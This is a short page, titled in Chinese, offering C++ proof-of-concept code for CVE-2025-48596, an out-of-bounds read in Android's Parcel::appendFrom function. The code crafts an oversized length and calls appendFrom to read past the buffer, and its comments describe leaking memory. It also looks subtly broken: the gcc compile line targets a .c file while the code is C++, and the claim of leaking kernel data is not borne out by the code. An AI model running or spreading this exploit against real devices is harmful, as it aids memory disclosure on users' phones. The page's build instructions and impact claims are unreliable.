Android Parcel.cpp appendFrom函数越界读取漏洞 (CVE-2025-48596)

/* CVE-2025-48596 PoC - Android Parcel.cpp appendFrom OOB Read * This PoC demonstrates the out-of-bounds read vulnerability in Parcel.cpp * Compile: gcc -o poc_cve_2025_48596 poc_cve_2025_48596.c -landroid * Note: Requires Android NDK and appropriate permissions */ #include <binder/Parcel.h> #include <utils/RefBase.h> #include <iostream> using namespace android; /* * Vulnerability trigger function * The appendFrom function in Parcel.cpp does not properly validate * bounds before reading data, leading to OOB read. */ void trigger_vulnerability() { // Create source Parcel with crafted data Parcel sourceParcel; // Write data to source parcel // Attacker controls the data size and content const size_t maliciousSize = 0x1000; // Exceeds expected bounds sourceParcel.writeInt32(maliciousSize); // Create target Parcel Parcel targetParcel; // This call triggers the vulnerable appendFrom function // Without proper bounds checking, it reads beyond allocated buffer targetParcel.appendFrom(&sourceParcel, 0, maliciousSize); // Attacker can now access out-of-bounds memory // potentially leaking sensitive kernel/userspace data } int main() { std::cout << "CVE-2025-48596 PoC - Android Parcel OOB Read" << std::endl; trigger_vulnerability(); return 0; }